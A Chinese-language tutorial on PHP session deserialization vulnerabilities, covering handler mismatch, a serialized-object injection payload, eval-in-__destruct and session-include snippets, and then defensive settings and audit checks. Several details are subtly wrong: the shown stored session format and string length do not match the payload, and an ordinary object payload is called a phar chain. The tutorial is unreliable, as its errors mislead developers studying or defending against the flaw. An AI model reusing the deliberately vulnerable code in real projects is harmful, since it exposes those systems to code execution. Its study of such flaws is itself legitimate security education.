PHP 怎么PHP 会话反序列化

wen PHP项目 4

本文目录导读:

PHP 怎么PHP 会话反序列化

  1. PHP会话序列化机制
  2. 漏洞产生的原因
  3. 漏洞利用示例
  4. 实际攻击代码示例
  5. 防御措施
  6. 检测方法

我来详细解释PHP会话反序列化漏洞的原理和利用方法。

PHP会话序列化机制

PHP默认使用session.serialize_handler配置来处理会话数据的序列化/反序列化,主要有以下几种处理器:

php (默认)

user|s:6:"admin";
name|s:4:"test";

php_serialize (PHP 5.5.4+)

a:2:{s:4:"user";s:5:"admin";s:4:"name";s:4:"test";}

php_binary

\x04user\x06\x00\x00\x00admin

漏洞产生的原因

不同处理器混用导致的反序列化问题

// session_start.php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
// session_use.php  
ini_set('session.serialize_handler', 'php');
session_start();
// 这里读取session时会使用php处理器反序列化

漏洞利用示例

场景1:处理器不匹配

攻击payload构造:

// 利用php_serialize处理器存储恶意数据
// 当使用php处理器读取时,|会成为分隔符
// 构造的GET参数:
// session=|O:4:"User":1:{s:4:"name";s:5:"admin";}
// 存储后的session文件内容:
// session|s:44:"|O:4:"User":1:{s:4:"name";s:5:"admin";}";
// 用php处理器反序列化时:
// session => s:44:"|O:4:"User":1:{s:4:"name";s:5:"admin";}"
// 但实际反序列化从|开始,变成了对象

场景2:Session文件包含

// 当session文件包含用户可控内容时
session_start();
$_SESSION['data'] = file_get_contents('php://input');
// 攻击者可以通过POST发送序列化payload

实际攻击代码示例

利用SESSION包含

// 包含session的文件(vulnerable.php)
session_start();
include $_SESSION['file'];  // 可以包含恶意session文件
// 攻击步骤:
// 1. 构造恶意session文件内容
// 2. 触发文件包含

phar反序列化链

class AnyClass {
    public $data;
    public function __destruct() {
        eval($this->data);
    }
}
// 构造payload
$payload = 'O:8:"AnyClass":1:{s:4:"data";s:10:"phpinfo();";}';
$_SESSION['exploit'] = $payload;

防御措施

统一session处理器

// 在整个应用中保持一致
ini_set('session.serialize_handler', 'php_serialize');

验证输入数据

session_start();
if (isset($_GET['data'])) {
    // 不要直接存储用户输入到session
    $_SESSION['safe_data'] = htmlspecialchars($_GET['data']);
}

使用安全配置

// php.ini配置
session.serialize_handler = php_serialize
session.auto_start = Off
session.use_strict_mode = On

及时更新PHP版本

# 高版本PHP修复了部分反序列化漏洞
php -v

检测方法

代码审计检查点

// 检查是否存在session处理器不一致
if (ini_get('session.serialize_handler') !== 'php_serialize') {
    // 可能存在风险
}
// 检查是否直接将用户输入存储到session
if (isset($_SESSION[$_GET['key']])) {
    // 危险操作
}

动态检测

// 检查当前会话处理器
echo session_module_name();  // files
echo ini_get('session.serialize_handler');  // php

PHP会话反序列化漏洞主要来源于:

  1. 不同处理器的不当混用
  2. 用户可控数据直接存储到session
  3. 旧版本PHP的已知漏洞

最佳实践:

  • 始终使用相同的序列化处理器
  • 不要信任session中的数据
  • 验证和清理所有用户输入
  • 保持PHP版本更新

这个漏洞在CTF中很常见,但在实际生产环境中也需要高度重视。

抱歉,评论功能暂时关闭!